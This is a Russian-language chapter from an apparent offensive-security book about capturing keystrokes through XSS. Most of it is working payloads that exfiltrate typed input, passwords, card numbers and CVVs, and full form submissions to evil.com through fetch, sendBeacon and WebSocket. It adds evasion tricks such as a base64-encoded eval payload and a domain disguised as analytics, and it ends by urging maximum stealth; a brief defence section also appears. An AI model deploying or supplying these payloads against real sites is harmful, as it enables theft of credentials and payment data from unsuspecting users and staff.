Книга: «Все об уязвимости XSS». Глава 7. Эксплуатация XSS - Время красть cookie 🍪 • Keylogging через JavaScript
Cookie можно защитить флагом HttpOnly. Session можно привязать к fingerprint устройства. Но от кейлоггера защититься почти невозможно - если атакующий контролирует JavaScript на странице, он видит каждую букву, которую жертва набирает, включая пароли, номера карт и секретные ответы на вопросы восстановления. Это следующий уровень эксплуатации XSS: не воровать то, что сервер уже выдал, а перехватывать данные прямо в момент их создания, до того как они куда-либо отправятся.
Почему keylogging через XSS особенно опасен
Обычный кейлоггер - это malware, которое нужно установить на компьютер жертвы. XSS-кейлоггер работает без установки чего-либо: код живёт прямо в браузере жертвы, в контексте доверенного сайта, и активен ровно столько, сколько открыта страница с payload'ом .
Ключевое отличие от cookie grabbing: даже если сайт использует токены в LocalStorage без уязвимостей, даже если MFA настроен идеально - если ты перехватываешь пароль в момент ввода, тебе не нужен ни один из этих механизмов. Ты получаешь credentials в чистом виде, для повторного использования когда угодно.
Базовый keylogger через onkeydown
Самый простой способ отследить нажатия клавиш - обработчик событий на уровне всего документа.
document.onkeydown = function(e) {
fetch('https://evil.com/log?key=' + encodeURIComponent(e.key));
};Полный payload для инъекции:
<img src=x onerror="document.onkeydown=function(e){fetch('https://evil.com/log?key='+e.key)}">onkeydown предпочтительнее устаревшего onkeypress, так как перехватывает абсолютно все нажатия, включая служебные клавиши (Backspace, Delete, стрелки).
Продвинутый кейлоггер с буферизацией
Отправлять запрос на каждое нажатие - шумно и заметно в Network tab жертвы. Правильный подход - буферизация с периодической отправкой.
<script>
var buffer = '';
document.addEventListener('keydown', function(e) {
buffer += e.key;
if (buffer.length > 50) sendData();
});
function sendData() {
if (buffer.length > 0) {
fetch('https://evil.com/log', {
method: 'POST',
body: JSON.stringify({data: buffer, url: location.href, timestamp: new Date().toISOString()})
});
buffer = '';
}
}
setInterval(sendData, 5000);
</script>
Эта версия копит нажатия и отправляет их либо при накоплении 50 символов, либо каждые 5 секунд, включая URL и timestamp для контекста - критично, если жертва переходит между разными формами.
Точечный перехват конкретных полей
Массовый кейлоггинг всего документа даёт много шума. Профессиональный подход - целиться в конкретные поля, связанные с паролями и платёжными данными.
document.querySelectorAll('input[type="password"], input[type="email"], input[name*="card"], input[name*="cvv"]').forEach(function(field) {
field.addEventListener('input', function(e) {
fetch('https://evil.com/log', {
method: 'POST',
body: JSON.stringify({field: e.target.name || e.target.id, value: e.target.value, page: location.href})
});
});
});Этот payload слушает событие input, которое срабатывает при каждом изменении значения, и отправляет не отдельные клавиши, а полное текущее значение поля целиком.
Динамическое отслеживание новых полей
Если форма создаётся динамически (SPA на React/Vue), стартовый querySelectorAll её не найдёт. Решение - MutationObserver:
function attachLoggers() {
document.querySelectorAll('input[type="password"], input[type="email"]').forEach(function(field) {
if (!field.dataset.logged) {
field.dataset.logged = 'true';
field.addEventListener('input', function(e) {
fetch('https://evil.com/log?f=' + e.target.name + '&v=' + encodeURIComponent(e.target.value));
});
}
});
}
var observer = new MutationObserver(attachLoggers);
observer.observe(document.body, {childList: true, subtree: true});
attachLoggers();MutationObserver следит за изменениями DOM и автоматически цепляет обработчики к новым полям, появляющимся динамически.
Перехват через события формы
Вместо непрерывного отслеживания каждого нажатия, можно перехватывать данные ровно в момент отправки формы:
document.querySelectorAll('form').forEach(function(form) {
form.addEventListener('submit', function(e) {
var formData = new FormData(form);
var data = {};
for (var pair of formData.entries()) data[pair[0]] = pair[1];
fetch('https://evil.com/log', {method: 'POST', body: JSON.stringify(data)});
}, true);
});Флаг true (capture phase) гарантирует, что listener сработает раньше оригинального submit-хендлера сайта, так что даже при мгновенном редиректе данные уже улетели.
Обход детекции
Прямые вызовы fetch() к незнакомому домену легко ловятся мониторингом. Применяй техники обфускации из главы 6 .
Маскировка домена:
fetch('https://cdn-analytics.io/collect?d=' + btoa(buffer));Base64-кодирование payload'а:
<img src=x onerror="eval(atob('ZG9jdW1lbnQub25rZXlkb3duPWZ1bmN0aW9uKGUpe2ZldGNoKCdodHRwczovL2V2aWwuY29tL2xvZz9rPScrZS5rZXkpfQ=='))">WebSocket вместо HTTP:
var ws = new WebSocket('wss://evil.com/ws');
document.onkeydown = function(e) {
if (ws.readyState === 1) ws.send(e.key);
};WebSocket-соединения реже мониторятся стандартными security-инструментами и не создают отдельную запись на каждое нажатие.
Кейлоггинг с контекстом
Голые нажатия без контекста бесполезны - непонятно, что именно набирала жертва:
var buffer = '';
document.addEventListener('keydown', function(e) { buffer += e.key; });
setInterval(function() {
if (buffer.length > 0) {
fetch('https://evil.com/log', {
method: 'POST',
body: JSON.stringify({
keys: buffer,
activeField: document.activeElement.name || document.activeElement.id || 'unknown',
pageTitle: document.title,
url: location.href
})
});
buffer = '';
}
}, 3000);
document.activeElement показывает, какое поле было в фокусе в момент отправки - критично для сопоставления, была ли строка цифр номером карты или CVV.
Form Hijacking через navigator.sendBeacon
Самая опасная разновидность - перехват формы без изменения визуала, чтобы жертва ничего не заметила:
var originalSubmit = HTMLFormElement.prototype.submit;
HTMLFormElement.prototype.submit = function() {
var formData = new FormData(this);
var data = {};
for (var pair of formData.entries()) data[pair[0]] = pair[1];
navigator.sendBeacon('https://evil.com/log', JSON.stringify(data));
originalSubmit.call(this);
};
navigator.sendBeacon() - специальный API, спроектированный для отправки данных без блокировки перехода на другую страницу. Он гарантированно доставит данные, даже если форма немедленно редиректит пользователя - идеально для перехвата login-форм.
Практический кейс: Blind XSS с кейлоггером
Комбинируя техники Blind XSS из предыдущих разделов , полноценный кейлоггер, засланный в форму обратной связи, остаётся активным всё время, пока сотрудник поддержки просматривает тикет во внутренней CRM -перехватывая всё, что он набирает на этой странице, включая внутренние заметки и, возможно, свои же учётные данные при переключении между вкладками админки.
Защита от JavaScript-кейлоггеров
Для разработчиков:
- Content Security Policy с чётким
connect-src, блокирующим запросы на посторонние домены - Использование
autocomplete="off"и изоляция чувствительных полей в iframe с отдельным origin - Мониторинг аномального сетевого трафика на клиенте через Reporting API
- Регулярный аудит на XSS - единственная реальная защита, так как кейлоггер работает только там, где уже есть инъекция
Важно понимать: ни один патч на уровне cookie-флагов не спасёт от кейлоггера. Это самостоятельная угроза, которая существует независимо от того, как защищена сессия.
Заключение
Keylogging через JavaScript - это точка, где XSS перестаёт быть уязвимостью веб-сайта и становится полноценным инструментом слежки за человеком. Ты не крадёшь токен, который можно инвалидировать - ты крадёшь сами секреты, введённые руками жертвы, и эти секреты остаются рабочими даже после того, как XSS давно пофиксили. Комбинируй буферизацию, точечное таргетирование полей и WebSocket-доставку для максимальной незаметности.
